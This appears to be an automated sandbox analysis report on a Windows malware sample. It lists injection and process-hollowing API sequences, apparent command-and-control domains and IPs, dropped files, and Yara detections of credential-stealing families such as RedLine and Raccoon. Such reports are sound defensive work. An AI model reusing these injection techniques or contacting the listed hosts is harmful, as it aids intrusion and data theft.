Source: C:\Users\user\Desktop\CFE9H9mdWr.exe Code function: 0_2_00425060 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess, 0_2_00425060
Source: C:\Users\user\Desktop\CFE9H9mdWr.exe Code function: 0_2_00420B60 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess, 0_2_00420B60
Source: C:\Users\user\AppData\Local\Temp\12C6.exe Code function: 18_2_0041CC60 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 18_2_0041CC60
Source: C:\Users\user\AppData\Local\Temp\12C6.exe Code function: 18_2_004203D0 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess, 18_2_004203D0
Source: C:\Users\user\AppData\Local\Temp\39F6.exe Code function: 35_2_00410E58 SetUnhandledExceptionFilter, 35_2_00410E58
Source: C:\Users\user\AppData\Local\Temp\39F6.exe Code function: 35_2_004110A3 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess, 35_2_004110A3
Source: C:\Users\user\AppData\Local\Temp\39F6.exe Code function: 35_2_00415393 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 35_2_00415393
Source: C:\Users\user\AppData\Local\Temp\39F6.exe Code function: 35_2_00410CF3 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 35_2_00410CF3

HIPS / PFW / Operating System Protection Evasion:

barindex
Early bird code injection technique detected
Source: C:\Users\user\AppData\Local\Temp\39F6.exe Process created / APC Queued / Resumed: C:\Users\user\AppData\Local\Temp\39F6.exe Jump to behavior
System process connects to network (likely due to code injection or exploit)
Source: C:\Windows\explorer.exe Domain query: xacokuo8.top
Source: C:\Windows\explorer.exe Domain query: znpst.top
Source: C:\Windows\explorer.exe Network Connect: 216.128.137.31 80 Jump to behavior
Source: C:\Windows\explorer.exe Domain query: nusurtal4f.net
Source: C:\Windows\explorer.exe Domain query: privacytoolzforyou-6000.top
Source: C:\Windows\explorer.exe Domain query: hajezey1.top
Source: C:\Windows\explorer.exe Domain query: sysaheu90.top
Benign windows process drops PE files
Source: C:\Windows\explorer.exe File created: DC45.exe.12.dr Jump to dropped file
Maps a DLL or memory area into another process
Source: C:\Users\user\Desktop\CFE9H9mdWr.exe Section loaded: unknown target: C:\Windows\explorer.exe protection: read write Jump to behavior
Source: C:\Users\user\Desktop\CFE9H9mdWr.exe Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read Jump to behavior
Source: C:\Users\user\AppData\Roaming\bsstvub Section loaded: unknown target: C:\Windows\explorer.exe protection: read write Jump to behavior
Source: C:\Users\user\AppData\Roaming\bsstvub Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\12C6.exe Section loaded: unknown target: C:\Windows\explorer.exe protection: read write Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\12C6.exe Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Section loaded: unknown target: C:\Windows\explorer.exe protection: read write Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5AFD.exe Section loaded: unknown target: C:\Windows\explorer.exe protection: read write
Source: C:\Users\user\AppData\Local\Temp\5AFD.exe Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read
Injects a PE file into a foreign processes
Source: C:\Users\user\Desktop\CFE9H9mdWr.exe Memory written: C:\Users\user\Desktop\CFE9H9mdWr.exe base: 400000 value starts with: 4D5A Jump to behavior
Source: C:\Users\user\AppData\Roaming\bsstvub Memory written: C:\Users\user\AppData\Roaming\bsstvub base: 400000 value starts with: 4D5A Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\12C6.exe Memory written: C:\Users\user\AppData\Local\Temp\12C6.exe base: 400000 value starts with: 4D5A Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\39F6.exe Memory written: C:\Users\user\AppData\Local\Temp\39F6.exe base: 400000 value starts with: 4D5A Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4F44.exe Memory written: C:\Users\user\AppData\Local\Temp\4F44.exe base: 400000 value starts with: 4D5A Jump to behavior
Contains functionality to inject code into remote processes
Source: C:\Users\user\Desktop\CFE9H9mdWr.exe Code function: 0_2_00960110 VirtualAlloc,GetModuleFileNameA,CreateProcessA,VirtualFree,VirtualAlloc,GetThreadContext,ReadProcessMemory,NtUnmapViewOfSection,VirtualAllocEx,NtWriteVirtualMemory,NtWriteVirtualMemory,WriteProcessMemory,SetThreadContext,ResumeThread,ExitProcess, 0_2_00960110
Creates a thread in another existing process (thread injection)
Source: C:\Users\user\Desktop\CFE9H9mdWr.exe Thread created: C:\Windows\explorer.exe EIP: 4E91920 Jump to behavior
Source: C:\Users\user\AppData\Roaming\bsstvub Thread created: unknown EIP: 4EE1920 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\12C6.exe Thread created: unknown EIP: 5AC1920 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Thread created: unknown EIP: 5DA19C0 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5AFD.exe Thread created: unknown EIP: 5C11920
Sample uses process hollowing technique
Source: C:\Users\user\AppData\Local\Temp\B4BD.exe Section unmapped: C:\Windows\Microsoft.NET\Framework\v4.0.30319\dfsvc.exe base address: 400000 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B4BD.exe Section unmapped: C:\Windows\Microsoft.NET\Framework\v4.0.30319\DataSvcUtil.exe base address: 400000 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B4BD.exe Section unmapped: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInUtil.exe base address: 400000 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B4BD.exe Section unmapped: unknown base address: 400000 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B4BD.exe Section unmapped: unknown base address: 400000 Jump to behavior
Queues an APC in another process (thread injection)
Source: C:\Users\user\AppData\Local\Temp\39F6.exe Thread APC queued: target process: C:\Users\user\AppData\Local\Temp\39F6.exe Jump to behavior
Creates a process in suspended mode (likely to inject code)
Source: C:\Users\user\Desktop\CFE9H9mdWr.exe Process created: C:\Users\user\Desktop\CFE9H9mdWr.exe 'C:\Users\user\Desktop\CFE9H9mdWr.exe' Jump to behavior
Source: C:\Users\user\AppData\Roaming\bsstvub Process created: C:\Users\user\AppData\Roaming\bsstvub C:\Users\user\AppData\Roaming\bsstvub Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\12C6.exe Process created: C:\Users\user\AppData\Local\Temp\12C6.exe C:\Users\user\AppData\Local\Temp\12C6.exe Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B4BD.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\dfsvc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\dfsvc.exe Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B4BD.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\DataSvcUtil.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\DataSvcUtil.exe Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B4BD.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInUtil.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInUtil.exe Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B4BD.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B4BD.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\39F6.exe Process created: C:\Users\user\AppData\Local\Temp\39F6.exe 39F6.exe Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4F44.exe Process created: C:\Users\user\AppData\Local\Temp\4F44.exe C:\Users\user\AppData\Local\Temp\4F44.exe Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\39F6.exe Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\39F6.exe Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE3E730 RtlDecodePointer,ZwQueryInformationProcess,RtlRaiseStatus,RtlAllocateAndInitializeSid,RtlAllocateHeap,RtlAllocateAndInitializeSid,RtlAllocateAndInitializeSid,RtlAllocateAndInitializeSid, 29_2_6CE3E730
Source: explorer.exe, 0000000C.00000000.329122432.0000000000B68000.00000004.00000020.sdmp Binary or memory string: Progman\Pr
Source: explorer.exe, 0000000C.00000000.296844840.00000000011E0000.00000002.00020000.sdmp Binary or memory string: Program Manager
Source: explorer.exe, 0000000C.00000000.296844840.00000000011E0000.00000002.00020000.sdmp Binary or memory string: Shell_TrayWnd
Source: explorer.exe, 0000000C.00000000.296844840.00000000011E0000.00000002.00020000.sdmp Binary or memory string: Progman
Source: explorer.exe, 0000000C.00000000.296844840.00000000011E0000.00000002.00020000.sdmp Binary or memory string: Progmanlock
Source: explorer.exe, 0000000C.00000000.322210842.0000000008778000.00000004.00000001.sdmp Binary or memory string: Shell_TrayWndh

Language, Device and Operating System Detection:

barindex
Queries the volume information (name, serial number etc) of a device
Source: C:\Users\user\AppData\Local\Temp\B4BD.exe Queries volume information: C:\Users\user\AppData\Local\Temp\B4BD.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B4BD.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B4BD.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\234F.exe Queries volume information: C:\Users\user\AppData\Local\Temp\234F.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\234F.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\234F.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.dll VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\234F.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\SMDiagnostics\v4.0_4.0.0.0__b77a5c561934e089\SMDiagnostics.dll VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\234F.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IdentityModel\v4.0_4.0.0.0__b77a5c561934e089\System.IdentityModel.dll VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\234F.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel.Internals\v4.0_4.0.0.0__31bf3856ad364e35\System.ServiceModel.Internals.dll VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\234F.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\234F.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\234F.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\39F6.exe Queries volume information: C:\Users\user\AppData\Local\Temp\39F6.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\39F6.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4F44.exe Queries volume information: C:\Users\user\AppData\Local\Temp\4F44.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4F44.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4F44.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\39F6.exe Queries volume information: C:\Users\user\AppData\Local\Temp\39F6.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\39F6.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Contains functionality to query CPU information (cpuid)
Source: C:\Users\user\AppData\Local\Temp\39F6.exe Code function: 35_2_00410B13 cpuid 35_2_00410B13
Source: C:\Windows\explorer.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid Jump to behavior
Source: C:\Users\user\Desktop\CFE9H9mdWr.exe Code function: 0_2_0042F990 GetSystemTimeAsFileTime,GetCurrentProcessId,GetCurrentThreadId,GetTickCount,QueryPerformanceCounter, 0_2_0042F990
Source: C:\Users\user\AppData\Local\Temp\39F6.exe Code function: 35_2_0041F061 _free,_free,_free,GetTimeZoneInformation,_free, 35_2_0041F061
Source: C:\Users\user\AppData\Local\Temp\39F6.exe Code function: 35_2_00401F20 GetUserNameW,GetUserNameW,GetProcessHeap,GetProcessHeap,HeapAlloc,GetUserNameW,LookupAccountNameW,GetProcessHeap,HeapAlloc,GetProcessHeap,HeapAlloc,LookupAccountNameW,ConvertSidToStringSidW,GetProcessHeap,HeapFree,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,LocalFree, 35_2_00401F20
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE065A0 RtlpGetDeviceFamilyInfoEnum,RtlInitUnicodeString,ZwQueryLicenseValue,RtlInitUnicodeString,ZwOpenKey,ZwClose,RtlGetDeviceFamilyInfoEnum,RtlInitUnicodeString,ZwOpenKey,ZwClose,RtlGetVersion, 29_2_6CE065A0

Stealing of Sensitive Information:

barindex
Yara detected RedLine Stealer
Source: Yara match File source: 34.0.dfsvc.exe.400000.3.unpack, type: UNPACKEDPE
Source: Yara match File source: 40.0.4F44.exe.400000.5.unpack, type: UNPACKEDPE
Source: Yara match File source: 39.0.AddInUtil.exe.400000.3.unpack, type: UNPACKEDPE
Source: Yara match File source: 40.0.4F44.exe.400000.8.unpack, type: UNPACKEDPE
Source: Yara match File source: 34.0.dfsvc.exe.400000.2.unpack, type: UNPACKEDPE
Source: Yara match File source: 37.0.DataSvcUtil.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 40.0.4F44.exe.400000.6.unpack, type: UNPACKEDPE
Source: Yara match File source: 34.0.dfsvc.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 40.0.4F44.exe.400000.7.unpack, type: UNPACKEDPE
Source: Yara match File source: 34.0.dfsvc.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 39.0.AddInUtil.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 39.0.AddInUtil.exe.400000.2.unpack, type: UNPACKEDPE
Source: Yara match File source: 40.0.4F44.exe.400000.4.unpack, type: UNPACKEDPE
Source: Yara match File source: 37.0.DataSvcUtil.exe.400000.2.unpack, type: UNPACKEDPE
Source: Yara match File source: 40.2.4F44.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 39.0.AddInUtil.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 37.0.DataSvcUtil.exe.400000.3.unpack, type: UNPACKEDPE
Source: Yara match File source: 37.0.DataSvcUtil.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000028.00000000.514503943.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000027.00000000.494537883.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000022.00000000.471569387.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000028.00000002.543712814.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000028.00000000.516850335.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000022.00000000.472237000.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000027.00000000.495400443.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000025.00000000.488797588.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000022.00000000.473649658.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000025.00000000.486835235.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000025.00000000.487989630.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000028.00000000.523576930.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000027.00000000.493522806.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000028.00000000.513777665.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Yara detected Vidar
Source: Yara match File source: dump.pcap, type: PCAP
Yara detected SmokeLoader
Source: Yara match File source: 3.2.CFE9H9mdWr.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 19.2.bsstvub.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 29.2.2E6C.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 19.1.bsstvub.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 20.1.12C6.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 29.2.2E6C.exe.2fb0e50.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 20.2.12C6.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 17.2.bsstvub.9615a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 29.3.2E6C.exe.2fc0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.1.CFE9H9mdWr.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.CFE9H9mdWr.exe.9615a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 18.2.12C6.exe.2cb15a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0000001D.00000003.443536415.0000000002FC0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000001D.00000002.465800320.0000000002FC0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000013.00000002.401208082.00000000005B1000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match File source: 0000001D.00000002.466019596.0000000003001000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000013.00000002.401135304.0000000000570000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000002.343715666.00000000005A1000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match File source: 0000000C.00000000.331439665.0000000004E91000.00000020.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000014.00000002.414180179.0000000000460000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000021.00000002.484679708.0000000002CE1000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000021.00000002.484587747.0000000002CC0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000002.343625183.0000000000460000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000014.00000002.414253923.00000000004F1000.00000004.00020000.sdmp, type: MEMORY
Yara detected Amadey bot
Source: Yara match File source: dump.pcap, type: PCAP
Yara detected Raccoon Stealer
Source: Yara match File source: 36.3.69D3.exe.48a0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 36.3.69D3.exe.48a0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000024.00000003.473154873.00000000048A0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: 69D3.exe PID: 6156, type: MEMORYSTR

Remote Access Functionality:

barindex
Yara detected RedLine Stealer
Source: Yara match File source: 34.0.dfsvc.exe.400000.3.unpack, type: UNPACKEDPE
Source: Yara match File source: 40.0.4F44.exe.400000.5.unpack, type: UNPACKEDPE
Source: Yara match File source: 39.0.AddInUtil.exe.400000.3.unpack, type: UNPACKEDPE
Source: Yara match File source: 40.0.4F44.exe.400000.8.unpack, type: UNPACKEDPE
Source: Yara match File source: 34.0.dfsvc.exe.400000.2.unpack, type: UNPACKEDPE
Source: Yara match File source: 37.0.DataSvcUtil.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 40.0.4F44.exe.400000.6.unpack, type: UNPACKEDPE
Source: Yara match File source: 34.0.dfsvc.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 40.0.4F44.exe.400000.7.unpack, type: UNPACKEDPE
Source: Yara match File source: 34.0.dfsvc.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 39.0.AddInUtil.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 39.0.AddInUtil.exe.400000.2.unpack, type: UNPACKEDPE
Source: Yara match File source: 40.0.4F44.exe.400000.4.unpack, type: UNPACKEDPE
Source: Yara match File source: 37.0.DataSvcUtil.exe.400000.2.unpack, type: UNPACKEDPE
Source: Yara match File source: 40.2.4F44.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 39.0.AddInUtil.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 37.0.DataSvcUtil.exe.400000.3.unpack, type: UNPACKEDPE
Source: Yara match File source: 37.0.DataSvcUtil.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000028.00000000.514503943.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000027.00000000.494537883.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000022.00000000.471569387.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000028.00000002.543712814.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000028.00000000.516850335.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000022.00000000.472237000.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000027.00000000.495400443.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000025.00000000.488797588.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000022.00000000.473649658.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000025.00000000.486835235.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000025.00000000.487989630.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000028.00000000.523576930.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000027.00000000.493522806.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000028.00000000.513777665.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Yara detected Vidar
Source: Yara match File source: dump.pcap, type: PCAP
Yara detected SmokeLoader
Source: Yara match File source: 3.2.CFE9H9mdWr.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 19.2.bsstvub.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 29.2.2E6C.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 19.1.bsstvub.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 20.1.12C6.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 29.2.2E6C.exe.2fb0e50.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 20.2.12C6.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 17.2.bsstvub.9615a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 29.3.2E6C.exe.2fc0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.1.CFE9H9mdWr.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.CFE9H9mdWr.exe.9615a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 18.2.12C6.exe.2cb15a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0000001D.00000003.443536415.0000000002FC0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000001D.00000002.465800320.0000000002FC0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000013.00000002.401208082.00000000005B1000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match File source: 0000001D.00000002.466019596.0000000003001000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000013.00000002.401135304.0000000000570000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000002.343715666.00000000005A1000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match File source: 0000000C.00000000.331439665.0000000004E91000.00000020.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000014.00000002.414180179.0000000000460000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000021.00000002.484679708.0000000002CE1000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000021.00000002.484587747.0000000002CC0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000002.343625183.0000000000460000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000014.00000002.414253923.00000000004F1000.00000004.00020000.sdmp, type: MEMORY
Yara detected Raccoon Stealer
Source: Yara match File source: 36.3.69D3.exe.48a0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 36.3.69D3.exe.48a0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000024.00000003.473154873.00000000048A0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: 69D3.exe PID: 6156, type: MEMORYSTR
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 511952 Sample: CFE9H9mdWr.exe Startdate: 29/10/2021 Architecture: WINDOWS Score: 100 68 mas.to 2->68 70 cdn.discordapp.com 2->70 72 api.2ip.ua 2->72 80 Snort IDS alert for network traffic (e.g. based on Emerging Threat rules) 2->80 82 Antivirus detection for URL or domain 2->82 84 Antivirus detection for dropped file 2->84 86 14 other signatures 2->86 10 CFE9H9mdWr.exe 2->10         started        13 bsstvub 2->13         started        signatures3 process4 signatures5 104 Contains functionality to inject code into remote processes 10->104 106 Injects a PE file into a foreign processes 10->106 15 CFE9H9mdWr.exe 10->15         started        108 Multi AV Scanner detection for dropped file 13->108 110 Machine Learning detection for dropped file 13->110 18 bsstvub 13->18         started        process6 signatures7 138 Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation)) 15->138 140 Maps a DLL or memory area into another process 15->140 142 Checks if the current machine is a virtual machine (disk enumeration) 15->142 20 explorer.exe 12 15->20 injected 144 Creates a thread in another existing process (thread injection) 18->144 process8 dnsIp9 74 216.128.137.31, 80 AS-CHOOPAUS United States 20->74 76 sysaheu90.top 185.98.87.159, 49744, 49745, 49746 VM-HOSTINGRU Russian Federation 20->76 78 7 other IPs or domains 20->78 48 C:\Users\user\AppData\Roaming\wistvub, PE32 20->48 dropped 50 C:\Users\user\AppData\Roaming\isstvub, PE32 20->50 dropped 52 C:\Users\user\AppData\Roaming\bsstvub, PE32 20->52 dropped 54 14 other malicious files 20->54 dropped 96 System process connects to network (likely due to code injection or exploit) 20->96 98 Benign windows process drops PE files 20->98 100 Deletes itself after installation 20->100 102 Hides that the sample has been downloaded from the Internet (zone.identifier) 20->102 25 2E6C.exe 1 20->25         started        29 12C6.exe 20->29         started        31 5AFD.exe 20->31         started        33 6 other processes 20->33 file10 signatures11 process12 dnsIp13 58 C:\Users\user\AppData\Local\Temp\1105.tmp, PE32 25->58 dropped 112 Multi AV Scanner detection for dropped file 25->112 114 DLL reload attack detected 25->114 116 Detected unpacking (changes PE section rights) 25->116 136 2 other signatures 25->136 118 Machine Learning detection for dropped file 29->118 120 Injects a PE file into a foreign processes 29->120 36 12C6.exe 29->36         started        122 Maps a DLL or memory area into another process 31->122 124 Checks if the current machine is a virtual machine (disk enumeration) 31->124 126 Creates a thread in another existing process (thread injection) 31->126 